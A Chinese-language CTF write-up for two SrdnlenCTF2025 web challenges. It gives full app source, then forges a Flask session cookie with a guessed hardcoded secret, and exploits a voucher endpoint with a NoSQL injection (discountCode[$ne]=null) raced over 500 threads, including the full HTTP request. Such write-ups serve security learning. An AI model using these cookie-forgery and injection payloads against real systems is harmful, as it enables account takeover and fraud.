SrdnlenCTF2025

shit

友情提示:本文最后更新于 433 天前,文中的内容可能已有所发展或发生改变。

Ben 10

import secrets
import sqlite3
import os
from flask import Flask, render_template, request, redirect, url_for, flash, session

app = Flask(__name__)
app.secret_key = 'your_secret_key'

DATABASE = 'database.db'
FLAG = os.getenv('FLAG', 'srdnlen{TESTFLAG}')


def init_db():
    """Initialize the SQLite database."""
    conn = sqlite3.connect(DATABASE)
    cursor = conn.cursor()
    cursor.execute('''CREATE TABLE IF NOT EXISTS users (
                        id INTEGER PRIMARY KEY AUTOINCREMENT,
                        username TEXT UNIQUE,
                        password TEXT,
                        admin_username TEXT,
                        reset_token TEXT
                      )''')
    conn.commit()
    conn.close()


def get_user_by_username(username):
    """Helper function to fetch user by username."""
    conn = sqlite3.connect(DATABASE)
    cursor = conn.cursor()
    cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
    user = cursor.fetchone()
    conn.close()
    return user


def get_reset_token_for_user(username):
    """Helper function to fetch reset token for a user."""
    conn = sqlite3.connect(DATABASE)
    cursor = conn.cursor()
    cursor.execute("SELECT reset_token FROM users WHERE username = ?", (username,))
    token = cursor.fetchone()
    conn.close()
    return token


def update_reset_token(username, reset_token):
    """Helper function to update reset token."""
    conn = sqlite3.connect(DATABASE)
    cursor = conn.cursor()
    cursor.execute("UPDATE users SET reset_token = ? WHERE username = ?", (reset_token, username))
    conn.commit()
    conn.close()


def update_password(username, new_password):
    """Helper function to update the password."""
    conn = sqlite3.connect(DATABASE)
    cursor = conn.cursor()
    cursor.execute("UPDATE users SET password = ?, reset_token = NULL WHERE username = ?", (new_password, username))
    conn.commit()
    conn.close()


@app.route('/')
def index():
    """Redirect to /home if user is logged in, otherwise to /login."""
    if 'username' in session:
        return redirect(url_for('home'))
    return redirect(url_for('login'))


@app.route('/register', methods=['GET', 'POST'])
def register():
    """Handle user registration."""
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        if username.startswith('admin') or '^' in username:
            flash("I don't like admins", "error")
            return render_template('register.html')

        if not username or not password:
            flash("Both fields are required.", "error")
            return render_template('register.html')

        admin_username = f"admin^{username}^{secrets.token_hex(5)}"
        admin_password = secrets.token_hex(8)

        try:
            conn = sqlite3.connect(DATABASE)
            cursor = conn.cursor()
            cursor.execute("INSERT INTO users (username, password, admin_username) VALUES (?, ?, ?)",
                           (username, password, admin_username))
            cursor.execute("INSERT INTO users (username, password, admin_username) VALUES (?, ?, ?)",
                           (admin_username, admin_password, None))
            conn.commit()
        except sqlite3.IntegrityError:
            flash("Username already exists!", "error")
            return render_template('register.html')
        finally:
            conn.close()

        flash("Registration successful!", "success")
        return redirect(url_for('login'))

    return render_template('register.html')


@app.route('/login', methods=['GET', 'POST'])
def login():
    """Handle user login."""
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        user = get_user_by_username(username)

        if user and user[2] == password:
            session['username'] = username
            return redirect(url_for('home'))
        else:
            flash("Invalid username or password.", "error")

    return render_template('login.html')


@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
    """Handle reset password request."""
    if request.method == 'POST':
        username = request.form['username']

        if username.startswith('admin'):
            flash("Admin users cannot request a reset token.", "error")
            return render_template('reset_password.html')

        if not get_user_by_username(username):
            flash("Username not found.", "error")
            return render_template('reset_password.html')

        reset_token = secrets.token_urlsafe(16)
        update_reset_token(username, reset_token)

        flash("Reset token generated!", "success")
        return render_template('reset_password.html', reset_token=reset_token)

    return render_template('reset_password.html')


@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
    """Handle password reset."""
    if request.method == 'POST':
        username = request.form['username']
        reset_token = request.form['reset_token']
        new_password = request.form['new_password']
        confirm_password = request.form['confirm_password']

        if new_password != confirm_password:
            flash("Passwords do not match.", "error")
            return render_template('forgot_password.html', reset_token=reset_token)

        user = get_user_by_username(username)
        if not user:
            flash("User not found.", "error")
            return render_template('forgot_password.html', reset_token=reset_token)

        if not username.startswith('admin'):
            token = get_reset_token_for_user(username)
            if token and token[0] == reset_token:
                update_password(username, new_password)
                flash(f"Password reset successfully.", "success")
                return redirect(url_for('login'))
            else:
                flash("Invalid reset token for user.", "error")
        else:
            username = username.split('^')[1]
            token = get_reset_token_for_user(username)
            if token and token[0] == reset_token:
                update_password(request.form['username'], new_password)
                flash(f"Password reset successfully.", "success")
                return redirect(url_for('login'))
            else:
                flash("Invalid reset token for user.", "error")

    return render_template('forgot_password.html', reset_token=request.args.get('token'))


@app.route('/home')
def home():
    """Display home page with images."""
    if 'username' not in session:
        return redirect(url_for('login'))

    username = session['username']

    user = get_user_by_username(username)
    admin_username = user[3] if user else None

    image_names = ['ben1', 'ben2', 'ben3', 'ben4', 'ben5', 'ben6', 'ben7', 'ben8', 'ben9', 'ben10']
    return render_template('home.html', username=username, admin_username=admin_username, image_names=image_names)


@app.route('/image/<image_id>')
def image(image_id):
    """Display the image if user is admin or redirect with missing permissions."""
    if 'username' not in session:
        return redirect(url_for('login'))

    username = session['username']

    if image_id == 'ben10' and not username.startswith('admin'):
        return redirect(url_for('missing_permissions'))

    flag = None
    if username.startswith('admin') and image_id == 'ben10':
        flag = FLAG

    return render_template('image_viewer.html', image_name=image_id, flag=flag)


@app.route('/missing_permissions')
def missing_permissions():
    """Show a message when the user tries to access a restricted image."""
    return render_template('missing_permissions.html')


@app.route('/logout')
def logout():
    """Log the user out and clear the session."""
    session.clear()
    flash("You have been logged out successfully.", "success")
    return redirect(url_for('login'))


if __name__ == '__main__':
    if not os.path.exists(DATABASE):
        init_db()
    app.run(debug=True)

看着像是session伪造进行权限读取flag

flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6ImJhb3pvbmd3aSJ9.Z4xkQg.xSfS_q5YG-bJiqbDFVJDCbpTqPQ"

your_secret_key

我是真没想到KEY就是这个

flask-unsign --sign --cookie "{'username': 'admintest456456456'}" --secret 'your_secret_key'


eyJ1c2VybmFtZSI6ImFkbWludGVzdDQ1NjQ1NjQ1NiJ9.Z4xnHQ.wMdzwuq6NP-3uNFoTpwSfm2XPJ4

/image/ben10

拿到flag

Focus. Speed. I am speed.

<!--route.js--->
const express = require('express')
const isAuth = (req, res, next) => {passport.authenticate('jwt', { session: false, failureRedirect: '/user-login' })(req, res, next)}
const JWT = require('jsonwebtoken')
const router = express.Router()
const passport = require('passport')
const UserProducts = require('../models/userproduct'); 
const Product = require('../models/product'); 
const User = require('../models/user');
const DiscountCodes = require('../models/discountCodes')
const { v4: uuidv4 } = require('uuid');

let delay = 1.5;

router.get('/store', isAuth, async (req, res) => {
    try{
        const all = await Product.find()
        const products = []
        for(let p of all) {
            products.push({ productId: p.productId, Name: p.Name, Description: p.Description, Cost: p.Cost })
        }
        const user = await User.findById(req.user.userId);
        return res.render('store', { Authenticated: true, Balance: user.Balance, Product: products})
    } catch{
        return res.render('error', { Authenticated: true, message: 'Error during request' })
    }
})


router.get('/redeem', isAuth, async (req, res) => {
    try {
        const user = await User.findById(req.user.userId);

        if (!user) {
            return res.render('error', { Authenticated: true, message: 'User not found' });
        }

        // Now handle the DiscountCode (Gift Card)
        let { discountCode } = req.query;
        
        if (!discountCode) {
            return res.render('error', { Authenticated: true, message: 'Discount code is required!' });
        }

        const discount = await DiscountCodes.findOne({discountCode})

        if (!discount) {
            return res.render('error', { Authenticated: true, message: 'Invalid discount code!' });
        }

        // Check if the voucher has already been redeemed today
        const today = new Date();
        const lastRedemption = user.lastVoucherRedemption;

        if (lastRedemption) {
            const isSameDay = lastRedemption.getFullYear() === today.getFullYear() &&
                              lastRedemption.getMonth() === today.getMonth() &&
                              lastRedemption.getDate() === today.getDate();
            if (isSameDay) {
                return res.json({success: false, message: 'You have already redeemed your gift card today!' });
            }
        }

        // Apply the gift card value to the user's balance
        const { Balance } = await User.findById(req.user.userId).select('Balance');
        user.Balance = Balance + discount.value;
        // Introduce a slight delay to ensure proper logging of the transaction 
        // and prevent potential database write collisions in high-load scenarios.
        new Promise(resolve => setTimeout(resolve, delay * 1000));
        user.lastVoucherRedemption = today;
        await user.save();

        return res.json({
            success: true,
            message: 'Gift card redeemed successfully! New Balance: ' + user.Balance // Send success message
        });

    } catch (error) {
        console.error('Error during gift card redemption:', error);
        return res.render('error', { Authenticated: true, message: 'Error redeeming gift card'});
    }
});

router.get('/redeemVoucher', isAuth, async (req, res) => {
    const user = await User.findById(req.user.userId);
    return res.render('redeemVoucher', { Authenticated: true, Balance: user.Balance })
});

router.get('/register-user', (req, res) => {
    return res.render('register-user')
})

router.post('/register-user', (req, res, next) => {
    let { username , password } = req.body
    if (username == null || password == null){
        return next({message: "Error"})
    }
    if(!username || !password) {
        return next({ message: 'You forgot to enter your credentials!' })
    }
    if(password.length <= 2) {
        return next({ message: 'Please choose a longer password.. :-(' })
    }

    User.register(new User({ username }), password, (err, user) => {
        if(err && err.toString().includes('registered')) {
            return next({ message: 'Username taken' })
        } else if(err) {
            return next({ message: 'Error during registration' })
        }

        const jwtoken = JWT.sign({userId: user._id}, process.env.JWT_SECRET, {algorithm: 'HS256',expiresIn: '10h'})
        res.cookie('jwt', jwtoken, { httpOnly: true })

        return res.json({success: true, message: 'Account registered.'})
    })
})

router.get('/user-login', (req, res) => {
    return res.render('user-login')
})

router.post('/user-login', (req, res, next) => {
    passport.authenticate('user-local', (_, user, err) => {
        if(err) {
            return next({ message: 'Error during login' })
        }

        const jwtoken = JWT.sign({userId: user._id}, process.env.JWT_SECRET, {algorithm: 'HS256',expiresIn: '10h'})
        res.cookie('jwt', jwtoken, { httpOnly: true })

        return res.json({
            success: true,
            message: 'Logged'
        })
    })(req, res, next)
})

router.get('/user-logout', (req, res) => {
    res.clearCookie('jwt')
    res.redirect('/')
})

function parseCost(cost) {
    if (cost.toLowerCase() === "free") {
        return 0;
    }
    const match = cost.match(/\d+/); // Extract numbers from the string
    return match ? parseInt(match[0], 10) : NaN; // Return the number or NaN if not found
}

router.post('/store', isAuth, async (req, res, next) => {
    const productId = req.body.productId;

    if (!productId) {
        return next({ message: 'productId is required.' });
    }

    try {
        // Find the product by Name
        const all = await Product.find()
        product = null
        for(let p of all) {
            if(p.productId === productId){
                product = p
            }
        }

        if (!product) {
            return next({ message: 'Product not found.' });
        }

        // Parse the product cost into a numeric value
        let productCost = parseCost(product.Cost);  

        if (isNaN(productCost)) {
            return next({ message: 'Invalid product cost format.' });
        }

        // Fetch the authenticated user
        const user = await User.findById(req.user.userId);

        if (!user) {
            return next({ message: 'User not found.' });
        }

        // Check if the user can afford the product
        if (user.Balance >= productCost) {
            // Generate a UUID v4 as a transaction ID
            const transactionId = uuidv4();
            
            // Deduct the product cost and save the user
            user.Balance -= productCost;
            await user.save();

            // Create a new UserProduct entry
            const userProduct = new UserProducts({
                transactionId: transactionId,
                user: user._id,
                productId: product._id, // Reference the product purchased
            });

            await userProduct.save(); // Save the UserProduct entry

            // Add the UserProduct reference to the user's ownedproducts array
            if (!user.ownedproducts.includes(userProduct._id)) {
                user.ownedproducts.push(userProduct._id);
                await user.save(); // Save the updated user
            }

            // Prepare the response data
            const responseData = {
                success: true,
                message: `Product correctly bought! Remaining balance: ${user.Balance}`,
                product: {
                    Name: product.Name,
                    Description: product.Description,
                },
            };
            if (product.productId === 4) {
                responseData.product.FLAG = product.FLAG || 'No flag available';
            }

            return res.json(responseData);
        } else {
            return res.json({success: false, message: 'Insufficient balance to purchase this product.' });
        }
    } catch (error) {
        console.error('Error during product payment:', error);
        return res.json({success: false, message: 'An error occurred during product payment.' });
    }
});

router.get('/', (req, res, next) => {
    passport.authenticate('jwt', async (err, r) => {
        let { userId } = r
        if (!userId) {
            return res.render('home', {
                Authenticated: false
            })
        }

        try {
            // Fetch the user and populate the ownedproducts, which are UserProducts
            const user = await User.findById(userId)
                .populate({
                    path: 'ownedproducts', // Populate the UserProducts
                    populate: {
                        path: 'productId', // Populate the product details
                        model: 'Product' // The model to fetch the product details
                    }
                })
                .exec()

            // Map the owned products with product details and transactionId
            const ownedproducts = user.ownedproducts.map((userProduct) => {
                const product = userProduct.productId; // Access the populated product details
                return {
                    Name: product.Name,           // Name of the product
                    Description: product.Description, // Description of the product
                    Cost: product.Cost,             // Cost of the product
                    FLAG: product.FLAG || null,      // Flag (only exists for certain products)
                    transactionId: userProduct.transactionId // Add transactionId here
                }
            })

            return res.render('home', {
                Authenticated: true,
                username: user.username,
                Balance: user.Balance,  // Pass balance as a variable to the template
                ownedproducts: ownedproducts // Pass the products with transactionId
            })
        } catch (err) {
            console.error('Error fetching user or products:', err)
            return next(err) // Handle any errors (e.g., database issues)
        }
    })(req, res, next)
})

router.use((err, req, res, next) => {
    res.status(err.status || 400).json({
        success: false,
        error: err.message || 'Invalid Request',
    })
})

module.exports = router
<!--app.js--->
const path = require('path');
const bodyParser = require('body-parser');
const mongoose = require('mongoose');
const express = require('express');
const User = require('../models/user');
const Product = require('../models/product'); 
const DiscountCodes = require('../models/discountCodes'); 
const passport = require('passport');
const { engine } = require('express-handlebars');
const { Strategy: JwtStrategy } = require('passport-jwt');
const cookieParser = require('cookie-parser');

function DB(DB_URI, dbName) {
    return new Promise((res, _) => {
        mongoose.set('strictQuery', false);
        mongoose
            .connect(DB_URI, { useNewUrlParser: true, useUnifiedTopology: true, dbName })
            .then(() => res());
    });
}

// Generate a random discount code
const generateDiscountCode = () => {
    const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    let discountCode = '';
    for (let i = 0; i < 12; i++) {
        discountCode += characters.charAt(Math.floor(Math.random() * characters.length));
    }
    return discountCode;
};



async function App() {
    const app = express();
    app.use(passport.initialize());
    app.use(cookieParser());
    app.use(bodyParser.json());

    app.engine('hbs', engine({ extname: '.hbs', defaultLayout: 'base' }));

    app.use(express.static('static'));
    app.set('view engine', 'hbs');
    app.set('views', path.join(__dirname, '../webviews'));

    app.use('/', require('./routes'));

    passport.use('user-local', User.createStrategy());
    const option = {
        secretOrKey: process.env.JWT_SECRET,
        jwtFromRequest: (req) => req?.cookies?.['jwt'],
        algorithms: ['HS256'],
    };

    

    passport.use(
        new JwtStrategy(option, (payload, next) => {
            User.findOne({ _id: payload.userId })
                .then((user) => {
                    next(null, { userId: user._id } || false);
                })
                .catch((_) => next(null, false));
        })
    );

    const products = [
        { productId: 1, Name: "Lightning McQueen Toy", Description: "Ka-chow! This toy goes as fast as Lightning himself.", Cost: "Free" },
        { productId: 2, Name: "Mater's Tow Hook", Description: "Need a tow? Mater's here to save the day (with a little dirt on the side).", Cost: "1 Point" },
        { productId: 3, Name: "Doc Hudson's Racing Tires", Description: "They're not just any tires, they're Doc Hudson's tires. Vintage!", Cost: "2 Points" },
        { 
            productId: 4, 
            Name: "Lightning McQueen's Secret Text", 
            Description: "Unlock Lightning's secret racing message! Only the fastest get to know the hidden code.", 
            Cost: "50 Points", 
            FLAG: process.env.FLAG || 'SRDNLEN{fake_flag}' 
        }
    ];
    

    for (const productData of products) {
        const existingProduct = await Product.findOne({ productId: productData.productId });
        if (!existingProduct) {
            await Product.create(productData);
            console.log(`Inserted productId: ${productData.productId}`);
        } else {
            console.log(`Product with productId: ${productData.productId} already exists.`);
        }
    }

    // Insert randomly generated Discount Codes if they don't exist
    const createDiscountCodes = async () => {
        const discountCodes = [
            { discountCode: generateDiscountCode(), value: 20 }
        ];

        for (const code of discountCodes) {
            const existingCode = await DiscountCodes.findOne({ discountCode: code.discountCode });
            if (!existingCode) {
                await DiscountCodes.create(code);
                console.log(`Inserted discount code: ${code.discountCode}`);
            } else {
                console.log(`Discount code ${code.discountCode} already exists.`);
            }
        }
    };

    // Call function to insert discount codes
    await createDiscountCodes();

    app.use('/', (req, res) => {
        res.status(404);
        if (req.accepts('html') || req.accepts('json')) {
            return res.render('notfound');
        }
    });

    return app;
}

module.exports = { DB, App };

首先登录一下,看到50分就可以买到flag,我其实第一个想到的是逻辑漏洞,不过我们先看路由是什么情况,其中最重要的路由应该就是这个东西了

router.get('/redeem', isAuth, async (req, res) => {
    try {
        const user = await User.findById(req.user.userId);
        if (!user) {
            return res.render('error', { Authenticated: true, message: 'User not found' });
        }
        let { discountCode } = req.query;
        if (!discountCode) {
            return res.render('error', { Authenticated: true, message: 'Discount code is required!' });
        }
        const discount = await DiscountCodes.findOne({ discountCode });
        if (!discount) {
            return res.render('error', { Authenticated: true, message: 'Invalid discount code!' });
        }
        // Check redemption logic...
    } catch (error) {
        console.error('Error during gift card redemption:', error);
        return res.render('error', { Authenticated: true, message: 'Error redeeming gift card' });
    }
});

可以用来兑换优惠券,然后就有可能得到分,然后看app.js看到有两个地方,一个是折扣码的生成函数,还有一个是JWT的验证机制

const generateDiscountCode = () => {
    const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    let discountCode = '';
    for (let i = 0; i < 12; i++) {
        discountCode += characters.charAt(Math.floor(Math.random() * characters.length));
    }
    return discountCode;
};
const option = {
    secretOrKey: process.env.JWT_SECRET,
    jwtFromRequest: (req) => req?.cookies?.['jwt'],
    algorithms: ['HS256'],
};

passport.use(
    new JwtStrategy(option, (payload, next) => {
        User.findOne({ _id: payload.userId })
            .then((user) => {
                next(null, { userId: user._id } || false);
            })
            .catch((_) => next(null, false));
    })
);

然后看着像是折扣码任意添加,把函数给拿下来进行生成,发现不行

// generateDiscountCode.js

const generateDiscountCode = () => {
    const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    let discountCode = '';
    for (let i = 0; i < 12; i++) {
        discountCode += characters.charAt(Math.floor(Math.random() * characters.length));
    }
    return discountCode;
};

// 运行并打印生成的折扣码
const discountCode = generateDiscountCode();
console.log('Generated Discount Code:', discountCode);

后面看JWT,感觉有点像是把id伪造成0或者是1,就能成功了,看了代码,KEY是环境变量里面有的,也没地方能读文件,那么就爆破密钥先看看,

jwt-cracker -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2NzhjNmU4ZmQ4YjZmYzFkNTNjYjc1Y2EiLCJpYXQiOjE3MzcyNTY1OTIsImV4cCI6MTczNzI5MjU5Mn0.2ZmYGuMFvr4Usno-VKFwkht0T6JQyvTMgMYV3lt_JL0 --max 6

我最开始用的jwtcrack一直爆破不出来,电脑风扇叫了好一会了,始终是爆破不出来,问了一下群友,说可以使用hashcat进行爆破,还看到一篇文章对jwt另一种特殊情况进行深度解析的 base64加密的情况

后面花哥出了发现问题不对,再次详细看看代码,其实问题就是在这里,这里如果没有查询到的话就不行,但是我们可以利用Nosql注入解决,因为他是在线生成的折扣码,我们也就可以使用$ne来匹配所有不等于指定值的值

findOne造成的Nosql注入 Nosql注入1 Nosql注入2

const discount = await DiscountCodes.findOne({ discountCode });

并且优惠券为正常的就加到余额了

const { Balance } = await User.findById(req.user.userId).select('Balance');
user.Balance = Balance + discount.value;

而且每天只有加一次,这里可以用条件竞争给解决了,让一天多加几次,打这个包就可以成为加钱居士,我们先把docker搞到服务器上面本地打一下看看能不能行

scp -r "C:\Users\baozhongqi\Desktop\SPEED" root@156.238.233.93:~/
docker compose up -d
GET /redeem?discountCode[$ne]=null HTTP/1.1
Host: 156.238.233.93
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2NzhjYjQ1ODJkZWE3N2U5ZjU3NDEwOTQiLCJpYXQiOjE3MzcyNzQ0NTYsImV4cCI6MTczNzMxMDQ1Nn0.-NvN3tq5IHjWnizrlF9xHzqjqeuZ1yLxulCjFHoXaa4
If-None-Match: W/"e3d-kPgvr9fwOimGBGsWOjHTbiLASS4"
Connection: close

开500个线程就成功了,拿到了60分就OK了